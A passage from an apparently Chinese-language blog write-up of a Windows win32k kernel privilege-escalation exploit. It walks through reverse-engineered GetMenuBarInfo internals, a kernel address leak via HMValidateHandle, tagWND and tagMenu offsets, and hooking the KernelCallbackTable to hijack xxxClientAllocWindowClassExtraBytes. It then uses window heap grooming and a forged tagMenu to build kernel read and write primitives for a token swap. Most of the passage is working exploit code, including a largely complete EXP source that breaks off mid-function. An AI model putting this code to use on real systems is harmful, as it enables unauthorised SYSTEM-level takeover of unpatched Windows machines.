          if ( *(_DWORD *)(*(_QWORD *)(*(_QWORD *)tagPopupMenu + 0x40) + 0x50) != (_DWORD)idItem_1 - 1 )
            break;
          v47 = tagPopupMenu;
          *(_DWORD *)&BarInfo->fBarFocused |= 2u;
          if ( *(_QWORD *)(*(_QWORD *)(*(_QWORD *)v47 + 0x40) + 0x18) )
          {
            hwndMenu = **(HWND **)(*(_QWORD *)(*(_QWORD *)tagPopupMenu + 0x40) + 0x18);
LABEL_106:
            BarInfo->hwndMenu = hwndMenu;
            break;
          }
LABEL_104:
          hwndMenu = 0;
          goto LABEL_106;
        }
        goto LABEL_101;
      }
      break;
   ...
  }
...

可见利用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo需要满足的要求是

  • i d O b j e c t = − 3 \textcolor{orange}{idObject = -3} idObject=3​​ @line:4
  • t a g W n d − > S t y l e \textcolor{orange}{tagWnd->Style} tagWnd>Style​​​​包含WS_CHLD @line:5
  • 菜单需要附着于窗口上,且至少要有一个菜单项 @line:22

BarInfo是调用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo​​的最后一个参数,保存着Menu的信息。分析得出

  • B a r I n f o − > r c B a r . l e f t = p M e n u − > l e f t + t a g W n d − > l e f t \textcolor{orange}{ BarInfo->rcBar.left = pMenu->left + tagWnd->left} BarInfo>rcBar.left=pMenu>left+tagWnd>left

  • B a r I n f o − > r c B a r . r i g h t = p M e n u − > l e f t + t a g W n d − > l e f t + p M e n u − > r i g h t \textcolor{orange}{BarInfo->rcBar.right = pMenu->left + tagWnd->left + pMenu->right} BarInfo>rcBar.right=pMenu>left+tagWnd>left+pMenu>right

如果窗口设置了弹出式菜单,则会根据弹出式菜单当前的状态取得聚焦情况和菜单句柄 @line:51 @line:52 @line:63 @line:69 @line:74

■ Win10 1909泄露内核

Win10 1909乃至20H的版本上,可以通过 H M V a l i d a t e H a n d l e \textcolor{cornflowerblue}{HMValidateHandle} HMValidateHandle​​​函数泄露内核。尽管该函数未文档化,但是前辈已经通过逆向分析得知了其定义和调用方式。

PTHRDESKHEAD HMValidateHandle(HWND h,char type);

H M V a l i d a t e H a n d l e \textcolor{cornflowerblue}{HMValidateHandle} HMValidateHandle​泄漏的是窗口的内核数据tagWnd在用户态下的映射

相关结构体定义如下:

typedef struct _HEAD
{
	HANDLE h;
	DWORD  cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD
{
	HEAD h;
	PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _THRDESKHEAD
{
	THROBJHEAD h;	//该窗口桌面线程头部信息
	PVOID    rpdesk; //指向该窗口所在的桌面堆
	PVOID       pSelf;// points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;

rpdesk就是前面出现的khwnd(表示内核中的窗口句柄指针)

可以通过 I s M e n u \textcolor{cornflowerblue}{IsMenu} IsMenu​函数定位 H M V a l i d a t e H a n d l e \textcolor{cornflowerblue}{HMValidateHandle} HMValidateHandle​函数地址

.text:0000000180018E60 ; BOOL __stdcall IsMenu(HMENU hMenu)
.text:0000000180018E60                 public IsMenu
.text:0000000180018E60 IsMenu          proc near               ; DATA XREF: .rdata:0000000180089DE7↓o
.text:0000000180018E60                                         ; .rdata:off_180097828↓o ...
.text:0000000180018E60                 sub     rsp, 28h        ; Integer Subtraction
.text:0000000180018E64                 mov     dl, 2
.text:0000000180018E66                 call    HMValidateHandle ; Call Procedure  E8 75 DB FF FF
.text:0000000180018E6B                 xor     ecx, ecx        ; Logical Exclusive OR
.text:0000000180018E6D                 test    rax, rax        ; Logical Compare
.text:0000000180018E70                 setnz   cl              ; Set Byte if Not Zero (ZF=0)
.text:0000000180018E73                 mov     eax, ecx
.text:0000000180018E75                 add     rsp, 28h        ; Add
.text:0000000180018E79                 retn                    ; Return Near from Procedure

call指令的机器码为0xE8,调用的地址为0xE8后面的4个字节加上call下一条指令的地址,即 c a l l   0 x F F F F D B 75 + 0 x 180018 E 6 B = 0 x 18 F D 3 D 71 ( 有 符 号 数 相 加 ) \textcolor{orange}{call\ 0xFFFFDB75+0x180018E6B = 0x18FD3D71(有符号数相加)} call 0xFFFFDB75+0x180018E6B=0x18FD3D71()

代码为

typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
typedef BOOL(*IsMenu_t)(HMENU hMenu);

HMValidateHandle_t HMValidateHandle = 0;
IsMenu_t u32_IsMenu = 0;

g_hUser32 = LoadLibraryA("user32");
if (!g_hUser32) {
    return;
}
//获取u32_IsMenu
u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
if (!u32_IsMenu) {
   return;
}
for (int i=0; i < 0x100; i++) {
    PUCHAR tr = (PUCHAR)u32_IsMenu + i;
    if (*tr == 0xE8)
    {//找到调用HMValidateHandle的指令位置
        offset=*(int*)((PCHAR)u32_IsMenu + i + 1);
        next_code = (ULONG64)u32_IsMenu + i+5;
        HMValidateHandle = next_code + offset;
        break;
  	}
}
■ 归纳几个重要的结构体及其偏移

tagWND是内核Win32k*用来管理用户态窗体的结构,在win10以前可以通过windbg查看定义,而从win10开始**win32k***进行了大改,tagWND结构发生了许多改变,并且微软也抹去了符号。通过以上函数的逆向分析,现总结如下(可能稍有偏差,若有懂的大佬请指正!):

成员偏移含义
Hwnd0x0对应在用户态下的窗口句柄
rpDesk0x8该窗口所在的桌面堆
Style0x18窗口风格
ExtraBytes0x128指向窗口额外数据的指针
cbWndExtra0xC8窗口额外数据的大小
spMenu0xA8指向窗口的菜单指针
Flag0xE8窗口标志
Left0x58窗口左边
Right0x5C窗口右边

以上仅是tagWND的部分成员,对于编写POC已经足够。

用户态下的非弹出式菜单在内核中的对象是tagMenu,根据前面的分析,大致得到部分结构:

成员偏移含义
rgItemListEntry0x58菜单项列表入口,[rgItemListEntry]记录当前菜当中的所有项目
unKnow_10x40未知,但是在调用GetMenuBarInfo时需要设置
unKnow_20x44未知,但是在调用GetMenuBarInfo时需要设置
spSelf0x98指向tagMenu自身。
idItemInfo0x28菜单项信息指针,[[ idItemInfo ]+ 0x2C]处记录着当前菜单项数目

0x3 漏洞利用

结合漏洞描述和漏洞分析,漏洞利用的流程借用一张网图描述:
在这里插入图片描述

左边是正常流程,右边是攻击流程。通过HOOK位于User32.dll中的 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes函数,并在其中调用 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl设置当前窗口的标志包含0x800,接着调用 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn返回一个虚假的值保存在 t a g W n d − > E x t r a B y t e s \textcolor{orange}{tagWnd->ExtraBytes} tagWnd>ExtraBytes中。后续利用 S e t W i n d o w L o n g ∗ \textcolor{cornflowerblue}{SetWindowLong*} SetWindowLong系列函数时,将采用 D e s k H e a p + o f f s e t \textcolor{orange}{DeskHeap+offset} DeskHeap+offset的方式设置 t a g W n d − > E x t r a B y t e s \textcolor{orange}{tagWnd->ExtraBytes} tagWnd>ExtraBytes。通过精心设计三个窗口,不妨记为hWndTriggleBughWndMinhWndMax,并且保证hWndMin紧挨在hWndMax之上,利用hWndTriggle修改hWndMin对应的 t a g W n d − > c b W n d E x t r a \textcolor{orange}{tagWnd->cbWndExtra} tagWnd>cbWndExtra0xffffffff,即可突破 S e t W i n d o w L o n g ∗ \textcolor{cornflowerblue}{SetWindowLong*} SetWindowLong​​长度限制,实现hWndMin越界写hWndMax,以此获得写原语。

获取读原语需要利用tagMenu,因此通过写原语修改 t a g W n d − > s p M e n u \textcolor{orange}{tagWnd->spMenu} tagWnd>spMenu为自己伪造的tagMenu,然后可利用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo​实现任意读。

接下来可以按部就班地开始编写POC

1.获取需要用到的函数地址
BOOLEAN Init() {
	BOOLEAN bRet = TRUE;
	int offset = 0;
	ULONG64 next_code = 0;
    
	__try {
		g_hUser32 = LoadLibraryA("user32");
		if (!g_hUser32) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
		//获取u32_IsMenu
		u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
		if (!u32_IsMenu) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		for (int i=0; i < 0x100; i++) {
			PUCHAR tr = (PUCHAR)u32_IsMenu + i;
			if (*tr == 0xE8)
			{//找到调用HMValidateHandle的指令位置
				offset=*(int*)((PCHAR)u32_IsMenu + i + 1);
				next_code = (ULONG64)u32_IsMenu + i+5;
				HMValidateHandle = next_code + offset;
				break;
			}
		}
		if (!HMValidateHandle) {
			printf("[!]Error: Can not find HMValidateHandle!\n");
			bRet = FALSE;
			__leave;
		}

		printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);

		g_hNtdll = LoadLibraryA("ntdll");
		if (!g_hNtdll) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		g_hWin32u = LoadLibraryA("win32u");
		if (!g_hWin32u) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		NtCallbackReturn = GetProcAddress(g_hNtdll, "NtCallbackReturn");
		if (!NtCallbackReturn) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		NtUserConsoleControl = GetProcAddress(g_hWin32u, "NtUserConsoleControl");
		if (!NtUserConsoleControl) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
	}
	__finally {
		if (g_hWin32u)
			FreeLibrary(g_hWin32u);
		if (g_hUser32)
			FreeLibrary(g_hUser32);
		if (g_hNtdll)
			FreeLibrary(g_hNtdll);
	}
	return bRet;
}
2.HOOK目标函数
VOID SetFuncHook(PULONG64 newFunc) {
	//1.获取本进程的PEB
	ULONG64 ulCurrPEB = __readgsqword(0x60);
	printf("[+]Found ulCurrPEB = 0x%p\n", ulCurrPEB);
	//2.找到KernelCallbackTable
	PULONG64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
	KernelCallbackTable = *KernelCallbackTable;
	printf("[+]Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
	PULONG64  xxxClientAllocExtraBytesFunc = *(PULONG64)((ULONG64)KernelCallbackTable + 0x7B * 8);
	printf("[+]Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
	xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;
	//3.HOOK
	printf("[+]Hook Func = 0x%p\n", newFunc);
	//首先需要设置页面可写属性
	DWORD dwOldProtect;
	VirtualProtect((LPVOID)((ULONG64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*(PULONG64)((ULONG64)KernelCallbackTable + 0x7B * 8)= newFunc;
    //恢复页面属性
	VirtualProtect((LPVOID)((ULONG64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
}
3.精心构造3个窗口
srand(time(0));
g_Randnum = (rand() % 255 + 0x1998) + 1;

WndClassExW.hIcon = 0;
WndClassExW.hbrBackground = 0;
WndClassExW.lpszClassName = 0;
WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
WndClassExW.cbSize = 80;
WndClassExW.style = 3;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = g_Randnum;//注意:此处的大小必须大等于0x128
WndClassExW.hInstance = GetModuleHandleW(0);
WndClassExW.lpszClassName = L"AttackClass";

g_Atom1 = RegisterClassExW(&WndClassExW);

WndClassExW.cbWndExtra = 32;//这里只需设置非0值即可
WndClassExW.lpszClassName = L"TriggerClass";

printf("[+]cbWndExtra offset = 0x%p\n", offsetof(WNDCLASSEXW, cbWndExtra));
g_Atom2 = RegisterClassExW(&WndClassExW);

for (int i = 0; i < 10; i++) {
    hWnd[i] = CreateWindowExW(
        0x8000000u,
        (LPCWSTR)(unsigned __int16)g_Atom2,
        L"LeakSomething",
        0x8000000u,
        0,
        0,
        0,
        0,
        0,
        CreateMenu(),
        GetModuleHandleW(0),
        0);
    if (!hWnd) {
        printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
        goto End;
    }
    ULONG64 KernelMap = (ULONG64)HMValidateHandle(hWnd[i], 1);//获取tagWNDk在用户空间中的可读映射地址
    HandleMap[i] = KernelMap;
    VirtualQuery(KernelMap, &Buffer, 0x30);
    if (g_HeapInfo.BaseAddress==NULL || g_HeapInfo.BaseAddress>=(ULONG64)Buffer.BaseAddress) {
        g_HeapInfo.BaseAddress = (ULONG64)Buffer.BaseAddress;
        g_HeapInfo.RegionSize = (SIZE_T)Buffer.RegionSize;
    }
}
for (int i = 2; i < 10; ++i)
    DestroyWindow(hWnd[i]);
  • 创建10个窗口,并释放8个窗口,产生内存空洞,剩下2个窗口一个是hWndMin,另一个就是hWndMax。后面再创建一个窗口hWndTriggleBug时就会重用8块空闲内存中的某一个。
  • 调用 V i r t u a l Q u e r y \textcolor{cornflowerblue}{VirtualQuery} VirtualQuery​查询tagWnd在用户空间中映射的数据,循环结束后 g _ H e a p I n f o . B a s e A d d r e s s \textcolor{orange}{g\_HeapInfo.BaseAddress} g_HeapInfo.BaseAddress​​​保存的是最小的地址。
  • 因为hWndTriggleBug会重用空闲的内存,所以可在 g _ H e a p I n f o . B a s e A d d r e s s \textcolor{orange}{g\_HeapInfo.BaseAddress} g_HeapInfo.BaseAddress中搜索其特征,找到hWndTriggle的句柄,然后在我们代理的 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc函数中给hWndTriggleBug设置一个虚假offset,并修改其额外数据寻址方式为 D e s k H e a p + o f f s e t \textcolor{orange}{DeskHeap+offset} DeskHeap+offset。​
4.代理xxxClientAllocExtraBytesFunc
PVOID* WINAPI ClientAllocatWindowClassExtraBytesProxy(PULONG size) {
	printf("[+]ClientAllocatWindowClassExtraBytesProxy Called!\n");
	HWND hWndTriggle = 0;

	if (*size == g_Randnum) {
		//获取窗口句柄
		hWndTriggle = GetWndFromMap();
		printf("[+]Get target Window handle = 0x%p\n",hTargetWnd);
		//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
		NtUserConsoleControl(6,&hTargetWnd, 0x10);
        //将hWndTriggleBug的tagWnd->ExtraBytes设置为hWndMin的桌面堆地址
		ULONG64 ulResult=g_WndMinDeskHeap;
		NtCallbackReturn(&ulResult, 24, 0);
	}
	return xxxClientAllocWindowClassExtraBytes(size);
}
5.在内存中寻找hWndTriggle的句柄
HWND GetWndFromMap() {
	PVOID BaseAddr = g_HeapInfo.BaseAddress;
	ULONG64 visit = (ULONG64)BaseAddr;
	DWORD RegionSize = g_HeapInfo.RegionSize;
	HWND TargethWnd = 0;

	do {
		while (*(PWORD)visit != g_Randnum && RegionSize>0) {
			visit += 2;
			RegionSize -= 1;
		}
		TargethWnd = (HWND) * (PDWORD)(visit - 0xc8);
	} while (!TargethWnd);
	return TargethWnd;
} 
6.获取读原语

需要伪造tagMenu结构

DWORD64	tagMenu = (__int64)LocalAlloc(0x40u, 0x200ui64);
printf("[+]tagMenu = 0x%p\n", tagMenu);
DWORD64	idItemInfo = (__int64)LocalAlloc(0x40u, 0x30ui64);
printf("[+]idItemInfo = 0x%p\n", idItemInfo);
DWORD64	spSelf = (__int64)LocalAlloc(0x40u, 8ui64);
printf("[+]spSelf = 0x%p\n", spSelf);
DWORD64	spMenu = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);
printf("[+]spMenu = 0x%p\n", spMenu);
HLOCAL	rgItemList = LocalAlloc(0x40u, 40ui64);
printf("[+]rgItemList = 0x%p\n", rgItemList);

DWORD64 ref_tagMenu = tagMenu;
DWORD64 ref_idItemInfo = idItemInfo;
DWORD64 ref_spSelf = spSelf;
DWORD64	ref_spMenu = spMenu;
ref_g_rgItemList = rgItemList;

*(DWORD*)(idItemInfo + 0x2c) = 0x10;
*(PDWORD)ref_tagMenu = 0x66666666;
*(DWORD64*)(ref_tagMenu+0x28)= ref_idItemInfo;
*(PDWORD)(ref_tagMenu+0x40 )= 1;
*(PDWORD)(ref_tagMenu + 0x44) = 1;
*(DWORD64*)(ref_tagMenu+0x58)= (DWORD64)rgItemList;
*(DWORD64*)ref_spSelf = tagMenu;
*(DWORD64*)(ref_spMenu + 0x98) = ref_spSelf;
//替换hWndMmax的spMenu
ULONG64 ulOffset = g_MinTagWnd - MaxTagWnd;

ULONG64 readQword(ULONG64 DestAddress) {
	MENUBARINFO pmbi = {0};
	pmbi.cbSize = sizeof(MENUBARINFO);
	PULONG pTemp = (PULONG64)LocalAlloc(0x40u, 0x200);

	ULONG64 qwBase = 0x000000400000000;
	ULONG64 qwAdd = 0x0000000800000008;
	for (int i = 0; i < 0x40; i++)
	{
		*(pTemp + i) = qwBase + qwAdd * i;
	}
	*(PULONG64)ref_g_rgItemList = (ULONG64)pTemp;
	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
	g_pmbi_rcBar_left = pmbi.rcBar.left;
	*(PULONG64)ref_g_rgItemList = DestAddress - g_pmbi_rcBar_left;
	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
	return 	(unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}

以上伪造的tagMenu结构如图所示:

在这里插入图片描述

r e a d Q w o r d \textcolor{cornflowerblue}{readQword} readQword就是读原语的实现。@line:33的循环是伪造idItemList的数据,每次读取的时候都要重置一下。结合之前的逆向分析,@line:38第一次调用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo主要是为了确定idItemList相对于idItemListEntry的偏移offset,这个偏移会保存在 p m b i . r c B a r . l e f t \textcolor{orange}{pmbi.rcBar.left} pmbi.rcBar.left中。@line:40则是替换了idItemList,正因为这里的减法,第二次调用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo​时就能正确读取到DestAddress指向的数据,并且该数据长度为8字节,分成两个4字节分别保存在lefttop中,所以将topleft合并就得到了DestAddress内存的数据了。

4.提权

至此已经获得了内核读写原语,接下来考虑提权。类似tagMenutagWnd这样的结构有着公共头部THROBJHEAD,其偏移0x10处保存着指向**_KTHREAD的指针,该结构体微软有符号,后面的步骤就是从这个结构体中一步步找出PIDToken**,并替换我们程序的Token完成提权。

5.恢复

前面对hWinMinhWndTriggle都做了修改,如果不恢复直接退出程序会导致蓝屏。恢复的方式和修改的时候是差不多的,所以之前涉及到重要的修改时都会保留有备份,恢复到备份的数据即可。

6.EXP
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#define KERNEL_CALLBACK_TABLE_OFFSET 0x58
#define WND_EXTRA_DATA_PTR_OFFSET 0x128
#define WND_CBEXTRA_OFFSET 0xC8
#define WND_STYLE_OFFSET 0x18
#define WND_STYLE_WS_CHLD 0x4000000000000000
#define WND_MAPOFUSERSPACE_OFFSET 0x28

typedef PVOID (*xxxClientAllocWindowClassExtraBytes_t)(PDWORD Length);
typedef NTSTATUS(__fastcall* NtUserConsoleControl_t)(DWORD64, LPVOID, DWORD);
typedef NTSTATUS(__fastcall* NtCallbackReturn_t)(LPVOID, DWORD, NTSTATUS);
typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
typedef BOOL(*IsMenu_t)(HMENU hMenu);

typedef struct _HEAP_INFO {
	LPVOID BaseAddress;
	SIZE_T RegionSize;
}HEAP_INFO;

xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
NtUserConsoleControl_t NtUserConsoleControl = 0;
NtCallbackReturn_t NtCallbackReturn = 0;
HMValidateHandle_t HMValidateHandle = 0;
IsMenu_t u32_IsMenu = 0;

HMODULE g_hNtdll = 0;
HMODULE g_hWin32u = 0;
HMODULE g_hUser32 = 0;
WORD g_Randnum = 0;
HEAP_INFO g_HeapInfo = { 0 };
DWORD64 g_MinTagWnd = 0;
HWND g_hWndMax = 0;
DWORD g_pmbi_rcBar_left = 0;
DWORD64 g_WndMinDeskHeap = 0;
DWORD64	ref_g_rgItemList = 0;

VOID SetFuncHook(PDWORD64 newFunc) {
	//1.获取本进程的PEB
	DWORD64 ulCurrPEB = __readgsqword(0x60);
	printf("[+]Found ulCurrPEB = 0x%p\n", ulCurrPEB);
	//2.找到KernelCallbackTable
	PDWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
	KernelCallbackTable = *KernelCallbackTable;
	printf("[+]Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
	PDWORD64  xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
	printf("[+]Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
	xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;
	//3.HOOK
	printf("[+]Hook Func = 0x%p\n", newFunc);
	//首先需要设置页面可写属性
	DWORD dwOldProtect;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8)= newFunc;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
}

DWORD64 readQword(DWORD64 DestAddress) {
	MENUBARINFO pmbi = { 0 };
	pmbi.cbSize = sizeof(MENUBARINFO);

	DWORD64* pTemp = (DWORD64*)LocalAlloc(0x40u, 0x200ui64);
	memset(pTemp, 0, 0x200);
	DWORD64 qwBase = 0x000000400000000;
	DWORD64 qwAdd = 0x0000000800000008;
	for (int i = 0; i < 0x40; i++)
	{
		*(pTemp + i) = qwBase + qwAdd * i;
	}
	*(DWORD64*)ref_g_rgItemList = (DWORD64)pTemp;

	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
	g_pmbi_rcBar_left = pmbi.rcBar.left;

	*(DWORD64*)ref_g_rgItemList = DestAddress - g_pmbi_rcBar_left;
	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
	return 	(unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}

HWND GetWndFromMap() {
	PVOID BaseAddr = g_HeapInfo.BaseAddress;
	DWORD64 visit = BaseAddr;
	DWORD RegionSize = g_HeapInfo.RegionSize;
	HWND TargethWnd = 0;
	printf("[+]BaseAddr = 0x%p\n", BaseAddr);
	do {
		while (*(PWORD)visit != g_Randnum && RegionSize>0) {
			visit += 2;
			RegionSize -= 1;
		}
		
		TargethWnd = (HWND) * (PDWORD)(visit - 0xc8);
	} while (!TargethWnd);

	return TargethWnd;
}

PVOID* WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD64 size) {
	HWND hTargetWnd = 0;
	
	if (*size == g_Randnum) {
		//获取窗口句柄
		hTargetWnd = GetWndFromMap();
		printf("[+]hTargetWnd = 0x%p\n", hTargetWnd);
		//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
		NtUserConsoleControl(6,&hTargetWnd, 0x10);
		//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hWndMin的桌面堆
		DWORD64 ulResult= g_WndMinDeskHeap;
		NtCallbackReturn(&ulResult, 24, 0);
	}
	return xxxClientAllocWindowClassExtraBytes(size);
}

BOOLEAN Init() {
	BOOLEAN bRet = TRUE;
	int offset = 0;
	DWORD64 next_code = 0;

	__try {
		g_hUser32 = LoadLibraryA("user32");
		if (!g_hUser32) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
		//获取u32_IsMenu
		u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
		if (!u32_IsMenu) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		for (int i = 0; i < 0x100; i++) {
			PUCHAR tr = (PUCHAR)u32_IsMenu + i;
			if (*tr == 0xE8)
			{//找到调用HMValidateHandle的指令位置
				offset = *(int*)((PCHAR)u32_IsMenu + i + 1);
				next_code = (DWORD64)u32_IsMenu + i + 5;
				HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
				break;
			}
		}
		if (!HMValidateHandle) {
			printf("[!]Error: Can not find HMValidateHandle!\n");
			bRet = FALSE;
			__leave;
		}

		printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);

		g_hNtdll = LoadLibraryA("ntdll");
		if (!g_hNtdll) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		g_hWin32u = LoadLibraryA("win32u");
		if (!g_hWin32u) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(g_hNtdll, "NtCallbackReturn");
		if (!NtCallbackReturn) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(g_hWin32u, "NtUserConsoleControl");
		if (!NtUserConsoleControl) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

	}
	__finally {

	}
	return bRet;
}

LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
	if (a2 != 2)
		return DefWindowProcW(a1, a2, a3, a4);
	PostQuitMessage(0);
	return 0;
}

int main(int argc,char** argv)
{
	WNDCLASSEXW WndClassExW = { 0 };
	HWND hWndTriggerBug = 0;
	HWND HandleList[10] = {0};
	LPVOID HandleMap[10] = {0};
	MEMORY_BASIC_INFORMATION Buffer = { 0 };
	
	if (!Init()) {
		return 0;
	}

	SetFuncHook(ClientAllocatWindowClassExtraBytesProxy);
	srand(time(0));
	g_Randnum = rand() % 255 + 0xabcd;

	WndClassExW.hIcon = 0;
	WndClassExW.hbrBackground = 0;
	WndClassExW.lpszClassName = 0;
	WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
	WndClassExW.cbSize = 80;
	WndClassExW.style = 3;
	WndClassExW.cbClsExtra = 0;
	WndClassExW.cbWndExtra = 0x20;
	WndClassExW.hInstance = GetModuleHandleW(0);
	WndClassExW.lpszClassName = L"DemoClass";
	//atom1窗口进行漏洞利用
	ATOM atom1 = RegisterClassExW(&WndClassExW);

	WndClassExW.cbWndExtra = g_Randnum;
	WndClassExW.lpszClassName = L"TriggerClass";

	//atom2窗口用来触发漏洞
	ATOM atom2 = RegisterClassExW(&WndClassExW);

	for (int i = 0; i < 10; i++) {
		HandleList[i] = CreateWindowExW(
			0x8000000u,
			(LPCWSTR)(unsigned __int16)atom1,
			L"LeakSomething",
			0x8000000u,
			0,
			0,
			0,
			0,
			0,
			CreateMenu(),
			GetModuleHandleW(0),
			0);
		if (!HandleList[i]) {
			printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
			exit(1);
		}
		DWORD64 KernelMap = (DWORD64)HMValidateHandle(HandleList[i], 1);//获取tagWNDk在用户空间中的可读映射地址
		HandleMap[i] = KernelMap;
		VirtualQuery(KernelMap, &Buffer, 0x30);
		if (g_HeapInfo.BaseAddress == NULL || g_HeapInfo.BaseAddress >= (DWORD64)Buffer.BaseAddress) {
			g_HeapInfo.BaseAddress = (DWORD64)Buffer.BaseAddress;
			g_HeapInfo.RegionSize = (DWORD64)Buffer.RegionSize;
		}
	}
	//释放掉8个窗口,剩下两个备用,记为Wnd_1和Wnd_2 
	for (int i = 2; i < 10; i++) {
		DestroyWindow(HandleList[i]);
	}

	DWORD64 Wnd1_DeskHeap = *(PDWORD64)((PCHAR)HandleMap[0] + 8);
	DWORD64 Wnd2_DeskHeap = *(PDWORD64)((PCHAR)HandleMap[1] + 8);
	//找到桌面堆地址最小的那个窗口
	HWND hWndMin = HandleList[(Wnd1_DeskHeap < Wnd2_DeskHeap ? 0 : 1)];
	//找到桌面堆地址最大的那个窗口
	g_hWndMax = HandleList[(Wnd1_DeskHeap > Wnd2_DeskHeap ? 0 : 1)];

	//找到桌面堆地址最小的tagWnd
	g_MinTagWnd = HandleMap[(Wnd1_DeskHeap < Wnd2_DeskHeap ? 0 : 1)];
	//记录桌面堆最大的tagWnd
	DWORD64 MaxTagWnd = HandleMap[(Wnd1_DeskHeap > Wnd2_DeskHeap ? 0 : 1)];

	//设置hWndMin的寻址方式为DeskHeap+offset
	NtUserConsoleControl(6, &hWndMin, 0x10);

	//保存原先的tagWnd->ExtraBytes
	DWORD64 ulOldMaxExtraBytes = *(PDWORD64)(MaxTagWnd + WND_EXTRA_DATA_PTR_OFFSET);
	DWORD64 ulOldMinExtraBytes = *(PDWORD64)(g_MinTagWnd + WND_EXTRA_DATA_PTR_OFFSET);

	g_WndMinDeskHeap = *(PDWORD)(g_MinTagWnd + 8);
